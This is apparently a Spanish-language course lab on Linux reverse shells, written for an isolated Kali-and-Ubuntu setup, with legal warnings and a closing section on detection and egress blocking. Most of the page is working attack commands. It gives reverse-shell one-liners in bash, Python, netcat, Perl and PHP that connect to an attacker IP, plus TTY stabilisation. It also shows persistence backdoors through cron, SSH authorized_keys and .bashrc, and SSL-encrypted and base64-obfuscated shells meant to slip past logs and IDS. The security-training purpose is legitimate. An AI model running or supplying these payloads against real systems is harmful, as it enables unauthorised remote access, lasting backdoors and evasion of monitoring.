Saltar al contenido principal

Lab 9.2: Reverse Shell Linux

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Crear reverse shells Linux con diferentes técnicas
  • Utilizar Bash, Python, Netcat para establecer shells
  • Estabilizar un shell básico en un shell TTY completo
  • Comprender los one-liners de reverse shell
  • Establecer persistencia con reverse shells
  • Detectar y bloquear reverse shells Linux
  • Comprender las diferencias entre shells Linux y Windows

Duración Estimada​

30 minutos

Prerrequisitos​

  • 2 VMs: Kali Linux (atacante) + Ubuntu/Debian (objetivo)
  • Red interna configurada
  • Comprensión de Lab 3.2 (Reverse Shell Windows)
  • Lab 9.1 (escalada de privilegios Linux) completado

Contexto Profesional​

Los reverse shells Linux son utilizados por:

  • Pentesters después de explotación inicial (web shell, SSH comprometido)
  • Malwares Linux para comunicación C2
  • Grupos APT para mantener acceso a largo plazo
  • Red Teams para simulaciones de ataques

Utilizado después de:

  • Explotación de vulnerabilidad web (RCE)
  • Explotación de servicio Linux
  • Fuerza bruta SSH exitosa
  • Credential stuffing

Establecer un reverse shell en un sistema sin autorización = Acceso no autorizado.

AUTORIZADO:

  • VMs de laboratorio aisladas
  • Pruebas autorizadas con contrato
  • Plataformas legales (HTB, THM)

PROHIBIDO:

  • Servidores reales sin permiso
  • Mantener acceso no autorizado

Consecuencias: Delito informático (Código Penal art. 342.1).

Parte 1: Reverse Shell Bash​

One-Liner Clásico​

En la VM Atacante (Kali), escuche:

nc -lvnp 4444

En la VM Víctima (Ubuntu), ejecute:

bash -i >& /dev/tcp/192.168.100.10/4444 0>&1

Explicación detallada:

bash -i              # Shell interactivo
>&                   # Redirección stdout y stderr
/dev/tcp/IP/PORT     # Dispositivo especial bash para conexiones TCP
0>&1                 # Redirección stdin

¡BOOM! ¡Conexión establecida!

En Kali, usted ve:

listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$

¡Shell completo de la víctima!

Preguntas:

  1. ¿Se estableció la conexión reverse shell?
  2. ¿Cuál es la diferencia con el reverse shell Windows?

Parte 2: Variaciones de Reverse Shells​

Python Reverse Shell​

Versión Python 2:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Versión Python 3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Ventaja: Funciona incluso si /dev/tcp no está disponible

Netcat Reverse Shell​

Si netcat está disponible en el objetivo:

nc 192.168.100.10 4444 -e /bin/bash

Si nc sin opción -e (versión BSD):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f

Perl Reverse Shell​

perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PHP Reverse Shell​

Si PHP está disponible:

php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Preguntas: 3. ¿Qué método funciona en su sistema objetivo? 4. ¿Cuál prefiere y por qué?

Parte 3: Estabilización del Shell​

Problema de los Shells Básicos​

El shell básico tiene limitaciones:

  • Sin autocompletado (Tab)
  • Sin historial (flechas arriba/abajo)
  • Sin limpiar pantalla (Ctrl+L)
  • Ctrl+C mata el shell
  • vi/nano no funcionan correctamente

Método 1: Python PTY​

En el reverse shell, ejecute:

python3 -c 'import pty; pty.spawn("/bin/bash")'

O:

python -c 'import pty; pty.spawn("/bin/bash")'

Resultado: Shell interactivo básico

Luego, para un shell COMPLETO:

# En el shell
export TERM=xterm

# Luego, presione Ctrl+Z (envía al background)

En su máquina atacante (Kali):

stty raw -echo; fg

Luego presione Enter dos veces

¡BOOM! ¡Shell TTY completo!

Pruebe:

  • Tab para autocompletar
  • Flechas para historial
  • Ctrl+L para limpiar
  • vi/nano funcionan

Método 2: Script Command​

script /dev/null -c bash

¡Shell interactivo inmediato!

Método 3: Expect​

expect -c 'spawn bash; interact'

Preguntas: 5. ¿Logró estabilizar el shell? 6. ¿Qué funcionalidades funcionan ahora?

Parte 4: Persistencia Linux​

Cron Job para Reconexión Automática​

Crear script de reconexión:

echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh

Agregar al crontab:

(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -

Ejecución: ¡Cada minuto!

Verificar:

crontab -l

SSH Key Backdoor​

Agregar su clave SSH:

mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... su_clave_publica" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

Conexión futura:

ssh user@192.168.100.20

¡Acceso permanente sin contraseña!

Bashrc Backdoor​

Agregar al .bashrc:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc

Cada vez que el usuario abre un terminal: ¡Reverse shell!

Preguntas: 7. ¿Funciona la persistencia vía cron? 8. ¿Cómo detectar estos backdoors?

Parte 5: Cifrado y Ofuscación​

Reverse Shell Cifrado​

Con OpenSSL:

Atacante (escucha con SSL):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

Víctima (conexión SSL):

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s

¡Comunicación cifrada! IDS/IPS más difícil de detectar.

Ofuscación Base64​

Codificar el payload:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64

Resultado:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK

Ejecución:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash

¡Menos sospechoso en logs!

Preguntas: 9. ¿Funciona el shell cifrado? 10. ¿Por qué es útil la ofuscación?

Parte 6: Detección y Defensa​

Detectar Conexiones Salientes​

Listar conexiones activas:

netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i

Buscar bash/sh con conexiones de red:

ps aux | grep bash
lsof -i -a -c bash

Si bash tiene conexión TCP saliente: ¡Sospechoso!

Bloquear con iptables​

Bloquear conexiones salientes excepto las permitidas:

iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

¡Reverse shells bloqueados!

Monitoreo con auditd​

Monitorear ejecución de bash:

auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash

Logs en: /var/log/audit/audit.log

Preguntas: 11. ¿Detectó el reverse shell con netstat? 12. ¿iptables bloqueó la conexión?

Entregables​

  1. Informe con los diferentes métodos de reverse shell probados
  2. Shell estabilizado y funcional
  3. Persistencia configurada y probada
  4. Detección y bloqueo demostrados

Comandos de Referencia​

Reverse Shells​

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

Estabilización​

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Persistencia​

(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'clave_ssh' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc

Conclusión​

Técnicas dominadas:

  • Reverse shells Linux múltiples métodos
  • Estabilización TTY completa
  • Persistencia vía cron, SSH, bashrc
  • Cifrado y ofuscación
  • Detección y defensa

Diferencias Linux vs Windows:

  • Linux: Más métodos nativos (bash, python preinstalados)
  • Estabilización más fácil (PTY)
  • Detección similar (netstat, monitoreo)

Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 9